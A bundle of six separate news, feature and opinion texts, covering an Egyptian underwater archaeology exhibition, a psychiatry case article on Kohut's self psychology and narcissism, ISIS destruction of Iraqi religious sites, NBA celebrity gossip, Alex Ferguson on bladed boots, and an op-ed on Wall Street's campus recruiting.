Ptolemaic gods with human features that represented the same qualities Egyptians prescribed to animals  "The Greeks were not exactly into animal-shaped gods nor into animal worship," she explains. "The Ptolemies, the Greco-Macedonian rulers of Egypt after Alexander the Great, created a human-shaped version of a very old Egyptian god, the sacred bull Osiris-Apis. In its 'Greek' form, he became Serapis, combining the aspects and functions of major Greek gods."  CNN gets a special tour of the "Sunken cities: Egypt's lost worlds" exhibition at the British Museum in London.  One of the statues was that of a colossal head representing the god Serapis, a Greek human-shaped version of the Egyptian god Osiris-Apis.  "We will show in 'Sunken Cities' a variety of sculptures depicting these Greco-Macedonian rulers as Egyptian Pharaohs, wearing Egyptian crowns and acting as if they were Egyptian Pharaohs," the curator says.  It was not vanity that prompted their change in style, but shrewd political maneuvering. "The Ptolemies really understood that they needed the support of the local priesthood and population, to legitimize their rule," Masson-Berghoff argues. "To achieve this, they adopted Egyptian beliefs, rituals and iconography."  Colossal statue of Hapy, made from pink granite and over five meters high. Christoph Gerigk © Franck Goddio / Hilti Foundation  Related content Madagascar marvel: Divers find fossils of extinct giant lemurs  The largest item on display is a statue of Hapy, ironically the god of flooding. Over 16-feet tall and weighing 12,000 pounds, the pink granite sculpture dates from the fourth century BC, long before Thonis-Heracleion disappeared into the sea.  Also worth noting is what Goddio's team left on the seabed. The archeologist discovered 69 ships: "the largest assemblage of boats ever discovered," Masson-Berghoff claims -- one of them likely used on a Grand Canal which linked Canopus and Thonis-Heracleion, upon which a sacred barge made of sycamore would travel during the Mysteries of Osiris, a celebration of the god of the underworld.  All of this, however, is just a drop in the bucket.
-Psychiatry (Edgmont) . 2007 Oct; 4(10): 40–47. PMCID: PMC2860525 PMID: 20428310 Psychotherapy with a Narcissistic Patient Using Kohut's Self Psychology Model , MD Jamie McLean Drs. McLean and Gillig are from the Department of Psychiatry, Boonshoft School of Medicine, Wright State University, Dayton, Ohio Find articles by Jamie McLean Author information Copyright and License information Disclaimer Jamie McLean, Drs. McLean and Gillig are from the Department of Psychiatry, Boonshoft School of Medicine, Wright State University, Dayton, Ohio; Corresponding author. Corresponding author. ADDRESS CORRESPONDENCE TO: Department of Psychiatry, Boonshoft School of Medicine, Wright State University, P.O. 927, Dayton, Ohio 45401; Department of Psychiatry, Boonshoft School of Medicine, Wright State University, P.O. 927, Dayton, Ohio 45401; ude.thgirw@naelcm.eimaj :liam-E EDITOR NOTE: All cases presented in the series “Psychotherapy Rounds” are composites constructed to illustrate teaching and learning points, and are not meant to represent actual persons in treatment Copyright notice  Abstract According to Kohut's self psychology model, narcissistic psychopathology is a result of parental lack of empathy during development. Consequently, the individual does not develop full capacity to regulate self esteem. The narcissistic adult, according to Kohut's concepts, vacillates between an irrational overestimation of the self and irrational feelings of inferiority, and relies on others to regulate his self esteem and give him a sense of value. In treatment, Kohut recommends helping the patient develop these missing functions. Kohut proposes that the therapist should empathically experience the world from the patient's point of view (temporary indwelling) so that the patient feels understood. Interpretations are used when they can help the patient understand his sometimes intense feelings about any empathic failure on the part of the therapist, and understand why he (the patient) needs to restore solidity and comfort after being injured by any failed empathic (self object) ties. As insight develops, the patient begins to understand why he might experience these apparently small empathic failures so deeply. In this article, therapy with a narcissistic patient is approached from the point of view of Kohut's self psychology theory, and the successes and problems that were encountered with this approach are described and discussed. Keywords: Kohut, self-psychology, narcissistic personality disorder, temporary indwelling, self object, empathy, psychoanalytic psychotherapy, mirroring transference, idealizing transference, transmuting internalization  Introduction Narcissistic personality disorder (NPD) is one of the least diagnosed of the personality disorders. However, it is estimated that the disorder, or narcissistic traits, are present in a large number of patients presenting to a psychiatrist's office with complaints of depression or other mood symptoms. Approximately 18 percent of males and six percent of females have narcissistic traits.1 The prevalence of the full-blown NPD in the clinical population ranges from 2 to 16 percent and exists in the general population at a rate of less than one percent.2 This disorder tends to be more predominant in male subjects with 50 to 75 percent of NPD cases being male.2 The main characteristics of NPD are grandiosity, need for admiration, and lack of empathy ( ). These characteristic behavior patterns can affect a patient's interpersonal relationships and life in a profoundly negative manner. Often these patients will outwardly behave with a sense of entitlement and superiority, be dismissive of others, and often display disdainful or patronizing attitudes. However, behind these attitudes, and central to this personality disorder, are low self esteem and feelings of inadequacy. Although many patients accomplish high achievements, eventually the characteristics of this disorder interfere with both the patient's occupation and his or her personal relationships. This is because the patient often is unable to recover from criticism or rejection and also because he or she has behaved in an unempathic manner with overall disregard for others. Table 1 Grandiose sense of self-importance Preoccupation with fantasies of success, power, brilliance, beauty Belief that he or she is “special” and unique and can only be understood by, or should associate with, other special or high-status people Requires excessive admiration Has a sense of entitlement Is interpersonally exploitative Lacks empathy Is often envious of others and believes that others are envious of him or her Displays arrogant and haughty behaviors Open in a separate window There are many theories about the causes of NPD. Often certain childhood developmental and parental factors have been implicated. An example of a developmental factor includes a postulated innate oversensitive temperament in the child; parental factors include excessive admiration by parents, lack of realistic feedback from parents during development, unreliable parental caregiving, and/or emotional abuse during childhood.3 Heinz Kohut proposes that in order to understand the narcissistic patient, the therapist must assume an empathic-introspective observational stance. By doing so, the therapist can understand the complex, inner world of the patient and the patient's inner subjective experience. The patient can then communicate freely, and the analyst becomes privy to what is being repressed or warded off by the patient. Self psychology, like object-relations theory, emerged out of an effort to treat patients who were not responding to ego psychology therapies constructed around the analysis of psychological defenses.4 Heinz Kohut asserts that adult narcissistic psychopathology is a result of parental lack of empathy during development. By failing to provide appropriate empathic feedback during critical times in a child's development, the child does not develop the ability to regulate self esteem, and so the adult vacillates between an irrational overestimation of the self and feelings of inferiority. Furthermore, the adult relies on others to regulate his self esteem and give him a sense of value, essentially looking for empathic feedback not received during development. Kohut believes that under normal circumstances, the developing infant has two important psychological constructs: the grandiose-exhibitionistic self (normally evolving into self-assertive ambitions) and the idealized parental imago (normally evolving into internalized values and ideals). Pathology in the first area results in fixation on grandiosity, and pathology in the latter area results in deficits, where the psychopathology is rooted in fixations on archaic idealizations ( and ).4 Open in a separate window Open in a separate window In Kohut's self psychology model, the dyad occurring between a child and his parents is a continually evolving process (via the formation of self objects). In Kohut's theory, a self object consists of the developing child plus each of those people who give the child the abilities to maintain self structure and firmness and a sense of cohesion and steadiness.5 They are self objects because, according to Kohut, the infant is unaware that they are not part of his- or herself and that they are providing functions the infant will later learn to do on his or her own as these functions are incorporated into his or her psychic structure. In Kohut's model, when certain self object needs are not met empathically, a developmental arrest occurs and pathologic narcissism can occur. Kohut describes three reasons for this relative lack of parental empathy to occur: 1) A poor fit between the child and parents in regards to the disposition of both; 2) the parent(s) is unable to react to and nurture the child, which can often be secondary to physical or mental limitations; and/or 3) the child has unusually great self object needs.6 Whatever the reason, the earlier and more pervasive the failures occur, the more severe the developmental arrest and the degree of narcissistic pathology in the adult.  Case Presentation (Composite Case) Michael was a 38-year-old man who presented with complaints that he lacked the ability to develop and maintain friendships. He spent most of his adult life employed as a police officer but had made few friendships with his coworkers. He attributed this to their jealously of his intelligence and overall better skill, but also felt that it was also due to his inability to make small talk with people. He desired therapy because in one month he would be switching careers from law enforcement to fire fighting. He said that he wanted a quick fix in order to have an easier time making friends with his new coworkers. Furthermore, he said he was depressed, with low energy, poor focus and concentration, early morning awakening, decreased interest and motivation, and feelings of guilt and shame. Most of the stressors in his life were due to the fact that he did not have many friends or family in his life. In fact, he hoped that by learning to make friends he would also be able to form relationships with his children, with whom he had not had much contact in at least a year. Michael was born an only child. His parents divorced while his mother was pregnant with him, and after his birth, his mother was left to raise him without the help or support of his father (His father left town never to be heard from again except on a few occasions in Michael's life). Consequently, Michael's mother worked two jobs in order to financially support herself and her son. This left Michael to be raised by various relatives in many different homes, as his mother would ask relatives if they could temporarily adopt Michael for short periods of time. Consequently, he lived in 11 different homes, many in different states, and attended nine different schools from kindergarten through high school. During his last years of high school, he lived with his mother and her boyfriend and was verbally abused by both. After high school graduation, he left his mother's home and married soon after. He and his wife had two children. They divorced after six years of marriage because “I just didn't love her anymore. She wasn't doing anything for me.” He remarried approximately three years later and had two more children. This marriage lasted nine years. Michael reports that his second wife “became too demanding and needy,” which he had difficulty tolerating. Michael's children were all living in his current town, yet he did not have a close relationship with any of them. Michael named this as one of his sources of sadness and stated that more recently, as he was aging, he was starting to feel that they should want a closer relationship with him. He was able to admit that he was not a good father to them and was “emotionally not there.” Despite wanting a closer relationship with them, he felt that he had gone out of his way to communicate with them by e-mailing each of them and stating that he was not to blame for being a poor father since he was only parenting the best way he knew how. To do more, he stated, would “be letting them walk all over me.” He felt there was nothing more he could do and that they should voluntarily come to him.  Self Psychology By describing the quest for a narcissistic individual to fulfill unmet self object needs, Kohut describes a certain aspect of narcissism inherent in all of us. Kohut describes the self as “the center of the psychological universe” and believes we spend our entire lives trying to build and maintain our self esteem through the use of self objects.7 However, in contrast to other theorists, Kohut does not believe this type of narcissism to be pathologic and argues for continuity between normal infantile narcissism and pathologic narcissism. Kohut argues that pathologic narcissism occurs only with early self object failures. When these failures occur, these patients search for gratification of missing childhood self object needs in their adult lives. They also are fearful of encountering, or repeating, earlier past failures. Therefore, they may present with an attitude of superiority or haughtiness, reflecting anxiety they feel over encountering further self object failures.7 This fear may also manifest itself in relationships. Patients with NPD may have a history of many failed relationships secondary to disappointment that the relationship is not giving them the longed-for childhood gratification and their missing self object needs.7 In the case presented in this article, Michael's perceptions of his current interpersonal relationships reflect this need for gratification, fearfulness, disguised as haughtiness, of encountering earlier past failures, and disappointment in current relationships causing him to abandon them.  Case Presentation, Continued Michael's concerns over his children were soon placed on a backburner when his new career began. Instead of mentioning his children, every session focused on peer relationships with his coworkers and how he was feeling left out. He complained that he was never included in card games played during down times at the firehouse and that no one seemed to like him. He could not understand why this was happening to him again as it did with the police force. He said that he was “…someone they should all like. I mean, I'm cooler than most of them.” He also struggled with learning that he was not the most skilled among his peers. During his training, all of his evaluations from his supervisors indicated that his physical fitness and knowledge of firefighting were average. They also indicated that he needed to listen better to suggestions provided by his more experienced peers. One supervisor said that it would serve Michael well to learn to better accept criticism.  Self Psychology, Continued Kohut emphasizes that we all desire to be perfect, that all of us think of ourselves in a grandiose manner, and that these desires and thoughts are not initially subject to reality testing in the infant. However, with adequate parenting, these ideas are gradually lessened over time (although never entirely destroyed) through inevitable minor self object failures or optimal frustrations. These minor frustrations are necessary for shaping a child's sense of self but are not psychologically traumatic.7 Kohut points out that it would be erroneous to believe parents can (or should) at all times meet the self object needs of a child as parents themselves are human and are not with the child at all times. Kohut believes these failures are necessary to alter the innate grandiose delusional ideas with which we are born because they require the child to learn internal mechanisms to self sooth and maintain his or her self esteem, despite not being perfect. Once these mechanisms are in place, the child relies less on self objects for appreciation and praise to regulate self esteem because the child can regulate it himself. In the narcissistic patient, self object needs were not met during childhood, and so these mechanisms never develop and he or she will continually look to others (self objects) for buttressing self esteem. Therefore, the narcissistic individual is very sensitive to any criticism or apparent rejection.  Case Presentation, Continued Michael understood that he had a difficult time interpreting social cues and felt that this was the reason for his inability to make small talk or feel comfortable with making conversation. He would openly ask at almost every session what the therapist thought of his social skills. Later, he began directly asking how the therapist perceived him and how his coworkers might perceive him. He would often ask for the therapist's opinion on his appearance and the rightness and wrongness of his actions, and seek the therapist's advice on major and minor decisions. However, he only seemed to tolerate positive feedback and would become enraged if he received anything that he interpreted as criticism. Whenever offended, he would respond with such statements as, “Well how would it make you feel? You haven't had much experience as a therapist, have you?”  Practice Points Parents normally meet self object needs of a child largely through two processes: The parent reflects back to the child the feelings and thoughts that the child is experiencing to give the child a sense of being validated and understood (mirroring transference), and the parent accepts that the child wants to view the parent as his or her protector and feel a sense of strength and comfort from doing so (idealizing transference).In the course of therapy with a narcissistic patient, these self object needs can emerge and are referred to as self object transferences. The two transferences that most often surface in therapy are the mirroring and idealizing transferences.6 Mirroring transference.The mirroring transference occurs when the analyst is experienced in fulfilling a structure-building function, a function the patient cannot yet perform for himself.4 A simple example of mirroring might occur when a parent shows a sense of delight with the child and conveys a sense of value and respect. A narcissistic patient may need the therapist to provide the mirroring he never received in order to build a missing structural part of the self. In this simple case, any feedback deemed non-praising may leave the patient feeling worthless and not valuable. At times, unempathic interventions of the therapist may inadvertently repeat earlier similar trauma, easily injure the self, and result in anxiety with temporary fragmentation of the cohesion of the transference. Narcissistic rage may occur at times, which Kohut believes is caused by a deflation of one's archaic grandiosity or to a traumatic disappointment in an idealized figure (see 'Idealizing transference” next), and this rage can evoke intense and violent destructive responses. As such, it is a reactive aggression and is present as long as the self remains seriously vulnerable and prone to fragmentation. Idealizing transference. A developing child needs to rely on the parent for safety, comfort, and calmness. In a normal child's development, the need for comfort from the external self object (parent) decreases as the child's internal means of self soothing increase. The narcissistic patient may need to use the therapist for self soothing as this capacity was never fully developed. In doing so, the patient might assign his or her therapist imagined characteristics, such as strength, high intelligence, or beauty, in order to feel a greater sense of safety and calmness.6  Case Presentation, Continued Michael seemed to have much difficulty with being the patient in the doctor-patient relationship. He also did not seem to tolerate the one-sided nature of psychotherapy and eventually said, “I think I'll go and see a different therapist, one who doesn't pretend to be perfect. I've been to better shrinks than you and they didn't just listen, they also shared about themselves. You act like you're a princess and like you don't have any problems. In fact, they say that shrinks are the most mentally ill people out there. You act like I'm the mentally ill one. I'm not mentally ill.” Michael also had difficulty in a social skills group, which was affiliated with a local hospital program and something he learned about through an advertisement on the radio. Even though joining the group was Michael's idea, he was reluctant to go because he was not convinced that he truly needed help with his social skills. Once in the group, he became more distressed and complained that he did not belong there. He became blameful and complained, “I can't believe you thought that the group would be a good idea for me. I can't believe you think I'm like them. They all have big problems...they're really messed up and I'm not at all. This makes me think that you don't know what you're doing.” He attended several more sessions with the therapist's encouragement, but reported that the other group members didn't like him. Eventually, the other group members told Michael that he acted as though he was “better than all of us.” Michael told them that he essentially felt that this was true and that he was leaving the group. The other group members did not seem upset by this news or ask him to stay. Following his exit from the group, he continually sought an apology from the therapist for thinking “that I was all screwed up like them.”  Teaching Point In addition to self object transferences, defenses may also develop during the course of psychotherapy. These defenses are used as protection against the possibility of re-experiencing self object failures in the therapy that were experienced in the patient's past. There are three major defenses, all fairly primitive and available early in life, used by patients with NPD. These are projection, denial, and distortion.8 Projection is defined as reacting to unacceptable inner feelings as if they were happening outside of one's body. Often these unacceptable inner feelings are attributed to or projected onto another person.8 A patient with NPD will often feel uncomfortable with being the patient and feeling that he or she might have a mental illness. Projection was evident when Michael spoke of “shrinks” being mentally ill. In reality, it was too painful for Michael to face his fear that he might be mentally ill. Denial is defined as completely ignoring awareness of painful stimuli or facts.8 Denial differs from repression in that it does not just defend against effects, it ignores external reality. In NPD, denial is used as a means of maintaining self esteem in addition to avoiding painful aspects of life that might shed a negative light on the patient's behavior. Michael had a difficult time reviewing his parenting skills and thus denied the fact that he was almost entirely responsible for the lack of relationship with his children. Instead, it seemed easier for him to focus on how they were mean and cold children for not wanting him in their lives. Distortion is defined as largely changing and transforming external realities to fit the person's internal needs.8 Patients with NPD will use this defense so that reality meets his or her sense of entitlement. Michael distorted the reasons why his co-workers did not include him in their friendships, transforming those reasons into jealous ones. Believing that jealously was the reason they did not like him was a better fit for Michael's overall psyche.  Treatment Using Heinz Kohut's self psychology model, the goal of therapy is to allow the patient to incorporate the missing self object functions that he needs into his internal psychic structure. Kohut calls this process transmuting internalization. In this sense, these patients' psyches are “under construction” and therapy is a building time. In order to achieve this goal, a therapist does not just try to imagine what feelings a certain situation might evoke, but rather can feel what the patient felt in that situation. This has been referred to as “temporary indwelling.”4,9 This empathy has been credited with being one of the vehicles for making lasting changes in therapy. Without it, the patient, whose self is too weak to tolerate more aggressive interpretation, would not benefit from therapy and in fact may suffer more damage. In accordance with providing continued empathic acceptance to what is transpiring in therapy, self psychology asserts it is not wise to agree, disagree, or gratify wishes of the patient or provide advice. To do so would change the therapeutic environment from one of empathy to one of judgment.4,6 Self psychology does not endorse using interpretations early in the therapy. Instead, self psychology asserts that allowing the transferences to unfold completely is the vehicle to helping the patient gain insight. When interpretations are called for, it is best to provide interpretations that focus on the patient's need to restore solidity and comfort after being injured by broken or failed self object ties ( ).4 Table 2 Separate developmental line of narcissism/new model of personality development and of the mind Reconceptualization of empathy Reexamination of transference (mirroring, idealizing and twinship) Deficit vs. conflict psychopathology Reformulation of drive theory Therapist's contribution to psychotherapy Nature of cure: transmuting internalization Reconceptualization of idealization Open in a separate window  Presentation, Continued Toward the end of therapy, Michael began to notice how “prickly” he could be with people and would comment on this. He began to notice that his frustration with people over their common mistakes or not living up to his expectations was excessive. Michael was also able to see that these expectations were too high, and consequently, his tolerance rose. In fact, Michael became noticeably more tolerant in therapy and less defensive. At one point, he stated, “You know, I'm constantly thinking about the reasons I'm angry when I get upset with people. You've made me stop and think if I'm out of line.” Likewise, Michael reported that he was feeling more comfortable at the firehouse. He even had a “buddy” who seemed to include Michael in the social aspects of the firehouse group.  Discussion Self psychology has both critics and supporters. Critics have likened self psychology to nothing more than supportive psychotherapy and have doubted its ability to make lasting changes in patients. Some have stated that is too supporting of these pathologic patients, which allows them to bypass any responsibility for their conflicts.10 Other critics have stated that although the theory of self psychology has broadened our views of narcissism and its development, it is incomplete and does not address some of the unconscious introjects of a patient's psyche. In other words, self psychology can adequately account for some of the pathogenesis of narcissism, but self psychology cannot be a “one size fits all” label applied to all narcissism. Instead, some think it better to think of narcissism as a behavioral syndrome with a number of different pathways of pathogenesis. Supporters state that self psychology is a form of psychoanalytic psychotherapy. They argue that empathy, one of the crucial elements of self psychology, is comparable to interpretations in making lasting changes. In fact, supporters of self psychology feel that narcissistic patients have such fragmented selves that they are unable to tolerate interpretations at an early point in therapy. Empathy, one of the primary tools in self psychology, allows first for a therapeutic alliance to form. Then, the patient is able to fill in developmental voids by processing the positive experiences happening between him and the therapist through transmuting internalization. As therapy progresses, empathy allows the patient, who now trusts the therapist as a positive self object, to look beyond what the therapist can offer in the way of mirroring or an idealizable self object. Instead, the patient is now able to examine his own perceptions of situations. Once this happens, the patient discovers further repressed conflicts and developmental needs and is now able to tolerate interpretations that focus on these repressed needs. Empirical studies directly comparing self psychology techniques to other forms of psychotherapy are rare. One randomized, controlled study found self psychology to be more effective than cognitive orientation treatment in treating eating disorders.13 The patients treated with self psychology had significant improvements while those treated with cognitive orientation did not. The process of uncovering the patients' underlying conflicts, which were not necessarily directly related to food intake, was proposed by the authors as the explanation for the success of the self psychology approach in contrast to cognitive therapy.13 On the other hand, Adler10 mentions several limitations of self psychology. According to Adler, one of these limitations is that self psychology overlooks guilt as important in the psychopathology of narcissism. He contends that Kohut dismisses guilt because it is more likely an “intrapsychic phenomenon” rather than something that occurs as a result of interpersonal conflict, situations happening between two individuals, or empathic failures. This, as Adler points out, also lends credit to the critics that say Kohut's self psychology does not address unconscious or intrapsychic phenomena. Furthermore, Adler believes that a patient's guilt can be the cause for certain negative reactions in therapy, rather than always being reactions to empathic failures on the part of the therapist. Kernberg has some similar criticisms.11 As self psychology evolves, it continues to be in a state of flux.14 Some may always argue that self psychology is nothing more than warmth and empathy and that most patients, to some degree, will have mirroring and idealizing transferences in the course of therapy as this is something we all desire. Despite this, there does seem some lasting contributions of self psychology to the psychoanalytic field. It is unclear whether self psychology will remain a singular form of therapy or rather be broken apart into contributing pieces.14 These contributions include the fact that self psychology provides a new developmental pathway of narcissism. Narcissism is less a “dirty” word since the advent of self psychology. Second, self psychology emphasizes the importance of empathy and how this tool may advance treatment. Third, self psychology very clearly elucidates the self object transferences. And fourth, self psychology brings to the forefront the therapist's contribution to therapy and the idea of intersubjectivity.15 This intersubjectivity can be described as an interplay between the subjective experiences of both the therapist and patient and their “reactions to one another.”15 The patient's psychology is understood only through the analyst's subjective lenses, so to speak.15 In fact, a new relational perspective of therapy is beginning to gain ground.15 In this perspective, facets of self psychology and intersubjectivity are combined along with facets from many other psychoanalytic theories.15 This relational perspective focuses more on the two-person nature of therapy than that of classical analysis.15  Conclusion Patients with NPD suffer a great deal. Kohut describes the depression and anxiety that a narcissistic patient may feel as “the deepest anxiety a man can experience.”6 NPD has also been described to be as overwhelming as the fear of death.6 The torment narcissistic patients suffer should never be discounted. Furthermore, these patients can and do present a risk. They feel less than human when they encounter even minor failures and, in order to regain a sense of unity within themselves, they act in ways that seem narcissistic to others, including suicide. In formulating Michael's treatment program, the developmental model of self psychology was used to explain the pathogenesis of Michael's narcissism. His self object needs clearly were not met empathically by his over extended mother. As therapy progressed, however, it became clear that there might be other factors to consider in the development of Michael's narcissism, especially that of his basic biological and psychological temperament. As treatment unfolded, the neutral and empathic stance, which according to self psychology the therapist should always maintain, became a difficult task. Michael's rage and sarcastic defenses were, at times, triggers for negative countertransference. In self psychology, it is the job of the psychiatrist to help these patients build for themselves the lattice of self object experiences in order to thrive beyond the therapy. However, narcissistic patients, such as Michael, can bring about quite a bit of countertransference in the psychiatrist, and at times, this may be overwhelming. In order to appropriately treat these patients, the psychiatrist must understand and be fully aware of these countertransferential feelings so that they do not interfere in therapy. Empathy has been referred to as crucial to the curative process in self psychology.9 Countertransference can interfere with empathy, and without empathy, the tone of therapy will not allow for the patient's full elaboration of his self object needs. This was difficult to achieve during Michael's therapy. Although providing therapy to a patient such as Michael who has NPD can prove challenging, it is also rewarding. Through growth in therapy, Michael ultimately found some relief, fleeting at first, from his depression and anxiety and learned ways to change some of his behaviors in a lasting way. As therapy progressed, Michael began to find some sense of unity, giving him a more durable peace within himself that was usually able to sustain him.
-Iraq’s religious and cultural heritage is currently under attack from the militant group Islamic State of Iraq and Syria (ISIS), report sources including Newsweek and Hyperallergic. The group has bulldozed, blown up, or otherwise destroyed churches, shrines, and mosques across the country, as well as ancient statues, artifacts, and archeological sites.  Using Twitter, ISIS and its operatives have posted multiple photos of religious buildings being demolished, including the Shia Saad bin Aqeel Husseiniya shrine in Tal Afar and Mosul’s al-Qubba Husseiniya mosque. The group is also occupying the Chaldean cathedral and the Syrian Orthodox cathedral, both in Mosul, and has replaced crosses on the building spires with the Islamic State’s black flag.  Made up of ardent followers of the Sunni strain of Islam, ISIS has predictably focused much of its destructive energies on holy sites for the Shia sect. This is hardly surprising, given the long history of violence and conflict between the rival factions, but even Sunni religious buildings are not safe. This is due to the group’s strictly conservative interpretation of the faith, which permits only the worship of Allah. Several Sunni mosques in Nineveh have been destroyed due to purported instances of idolatry, such as visiting tombs.  According to the Daily Mail and a YouTube video attributed to ISIS, the tomb of Jonah, the biblical prophet most famous for having been temporarily swallowed by a great fish, has also been destroyed. ISIS has also desecrated the Mosul grave of Abu al-Hassan al-Jazari, a 12th- and 13th-century historiographer, known as ibn al-Athir.  The group, which recently declared itself a caliphate, is led by Abu Bakr al-Baghdadi, who claims to be a descendent of Muhammad. Its activities endanger all religious minorities, including non-fundamentalist Sunnis, as well as important cultural, religious, and archeological sites.  According to the Guardian, Isis “was also known to have reaped windfalls from smuggling all manner of raw materials pillaged from the crumbling state, as well as priceless antiquities from archaeological digs.”  Reports based on the group’s social media activites speculate that ISIS plans to target Mecca, the all-important, obligatory pilgrimage site for Muslims. The holy city is home to the Al-Masjid al-Haram mosque, held by Muslims to be the most sacred mosque in the world. It includes a granite and marble building called the Kaaba, believed to contain a footprint from Abraham and a cornerstone laid by Muhammad himself.  “If Allah wills, we will kill those who worship stones in Mecca and destroy the Kaaba. People go to Mecca to touch the stones, not for Allah,” said ISIS member Abu Turab Al Mugaddasi, reports APA based on a Turkish news article.  UPDATE: According to a report from the Conflict Antiquities blog, the site in the video purportedly showing the destruction of the tomb of the prophet Jonah does not match known photos of the tomb. A comparison of video footage also rule out the possibility that the tombs in the video included the final resting place of the prophet Seth, which has also been mentioned in reports.  Follow artnet News on Facebook:
-Cleveland Cavaliers’ Lebron James may have healthy relationship with members of the Kardashian-Jenner family, but that doesn’t necessarily mean he loves their reality show Keeping Up With The Kardashians.  James took to Snapchat to record a TV crew that visited the Cavaliers’ training facility. Although the star forward made no mention of the show’s name, it was presumed to be for Keeping Up With The Kardashians due to Khloe Kardashian’s relationship with James’ teammate, Tristan Thompson.  “The sh*t show is here today” Lebron James posted on his Snapchat story. “Look at the sh*t show gang,” he added, panning his cellphone around members of the film crew, BET reported.  It’s likely the KUWTK crew was there to get footage of Thompson for the show, especially after it was reported that he is expecting his first child with girlfriend Khloe Kardashian.  The video, however, was all made in good fun. James and Kardashian are good friends, and they were spotted sharing a hug after they hung out with Thompson and other members of the team, Hollywood Life wrote.  Although things appear to be well with the team, fans of the Cleveland Cavaliers aren’t too keen on having Kardashian on board. After the reality show star’s pregnancy announcement, fans expressed their concern about the “Kardashian curse” on Twitter.  null  null  null  Meanwhile, Kardashian’s ex-husband, Lamar Odom, recently opened up about their current relationship. In an episode of Complex’s Everyday Struggle, Odom said they’re “still cool” and that he wishes her well, People reported. Although he didn’t particularly mention the pregnancy, the retired NBA player said he “still got love for her.”  Kardashian is reportedly three months pregnant. She’s reportedly due to give birth around February next year. Although the baby’s gender hasn’t been revealed yet, a source previously said that she wants a baby girl. Since Thompson is a “total momma’s boy” who grew up with all boys in the family, she feels that having a baby girl would “give him an amazing, new experience.”  As for the kid’s name, it’s possible Kardashian will choose a name that starts with a “K” to keep the family tradition. But an insider also said that she’s considering naming a baby girl Andrea after Thompson’s mother.  Keeping Up With The Kardashians Season 14 airs every Sunday on E!  [Featured Image by Jason Miller/Getty Images]
-Hopefully the fad will evaporate and they will think of something else  Man Utd manager Sir Alex Ferguson  Ferguson is convinced the blades are responsible for the broken foot bone which will sideline skipper Roy Keane for two months.  He said: "The shot of the injury shows the shape of a blade stud on Roy's foot. The bladed studs are a danger.  "We have strong views about this, we don't allow our players to wear them as they can cause serious injuries."  Ferguson branded bladed boots as a dangerous fad and has approached United's kit providers Nike, who are one of the manufacturers of such boots.  He said: "It's one of those gimmicks that come along. They're trying to sell them to kids, that's the problem with them.  "We have not spoken to the Football Association as I am not sure they can do much.  "It's up to the clubs but I know a lot of them are refusing to allow players to wear them.  "We have photographs in the dressing room of some of the injuries caused by blades. Some of our academy boys had bad injuries, including some terrible facial injuries.  "We have spoken with Nike about it. Hopefully the fad will evaporate and they will think of something else."
-Richard Drew/Associated Press  Three and a half years have passed since the onset of the financial crisis, and the public hasn’t changed the way it talks about Wall Street and its future. Journalists, politicians and even the Occupy movement have shaped our discussion by analyzing — and often attacking — the bankers at the helm.  Again and again we read about the forces driving the industry today, when we should be looking to the people who will lead Wall Street tomorrow.  Though recent media reports suggest that elite students are growing disillusioned by Wall Street, the numbers are unconvincing. Among the class of 2011, the financial industry was the top employer of graduates of Harvard, Duke, Columbia and even the University of Pennsylvania’s engineering school.  To claim the infatuation with Wall Street has come to an end is to disregard the forces underlying this phenomenon. Until we address what is drawing students to investment banking — and what is driving them once they get there — the brain drain to Wall Street won’t change, and Wall Street won’t, either.  Two years ago, I graduated from Duke, one of many elite colleges that function as a farm team for Wall Street. Four years before then, I had never heard of Goldman Sachs. A bank had always been that one-story building across from a gas station where my mom deposited checks and I took more lollipops than I was supposed to. But at Duke, I was quickly seduced by a Wall Street recruiting machine that is reshaping the culture of higher education and diverting the career paths of our best and brightest.  My generation has come of age in a society that tells its youth that we can do or be anything, but never mentions the suffocating price tag attached to our dreams. Like many of my peers, I entered college with unbridled ambition, only to confront a harsh economic reality: undergraduate loans, costly post-graduate degrees and high unemployment. In 2010, the average college student graduated with $25,000 in loans, the highest tally on record. Student loan debt now exceeds $1 trillion, according to the Consumer Financial Protection Bureau. No wonder our priorities are skewed.  The financial pressures manifest themselves in different ways on different campuses, but at the country’s most-esteemed schools, the economy has precipitated Wall Street’s recruiting supremacy. When a six-figure income, including bonus, is dangled in front of a 22-year-old’s nose, it’s tough to stomach the thought of taking on the average $158,000 debt-load of today’s medical student, or shelling out $50,000 a year for a master’s degree.  So we head to Wall Street, rationalizing that we will stay for “just a year or two.” Once there, it’s tough to leave. A 2011 Bloomberg article reported that a banker with 10 years’ experience specializing in mergers will earn $2 million a year — more than 10 times the salary of an equally experienced cancer researcher or aerospace engineer.  But to attribute the industry’s appeal solely to our financial predicament is simplistic. We’ve been deemed the “Me Generation” for good reason. And Wall Street recruiters are more than happy to cater to our sense of entitlement.  They and their Ivy-pedigreed employees bombard campuses for weeks to shower us with fancy dinners, lavish trips to Manhattan and promises of a challenging, rewarding career. They tap into our competitiveness, so their internship programs begin recruiting us as sophomores, knowing that if we are offered opportunities to build our résumés, we won’t just apply, but we’ll commit ourselves so fully that we’ll mistake our desire to win the race with a desire for what it is we’re chasing.  I navigated a salacious recruiting process. I watched ruthless and cunning peers excel, and the more good-hearted crumble. I saw that being popular, good-looking and able to drink hard seemed to matter more than being smart. And as I began my internship search in the midst of the financial crisis, while the industry and our economy crumbled around us, not a single banker I met acknowledged blame on Wall Street’s part.  In the end, I landed a coveted offer, then turned it down because I had grown disillusioned by a toxic culture. Yet my classmates flocked to finance in astounding numbers, and continue to do so — not because they expect the industry to change but because they hope it will not.  It’s time to stop talking about Lloyd Blankfein, Greg Smith and Jamie Dimon. Instead of criticizing the decisions made in the executive suite, we need to focus on reforming the training grounds.  Unless universities re-examine their role in enabling Wall Street’s recruiting dominance, the next generation will be just like mine — primed for success, but lacking purpose. And unless our policy makers provide incentives to students to pursue more productive careers, Wall Street’s cachet will continue to highlight one of society’s ills: we charge heftily for an education, and then foolishly expect the educated to use their diplomas for the benefit of society.  Laura Newland, a 2010 graduate of Duke University, is a management consultant in Philadelphia. She is writing a book about college life and the influence of Wall Street on today’s campuses.
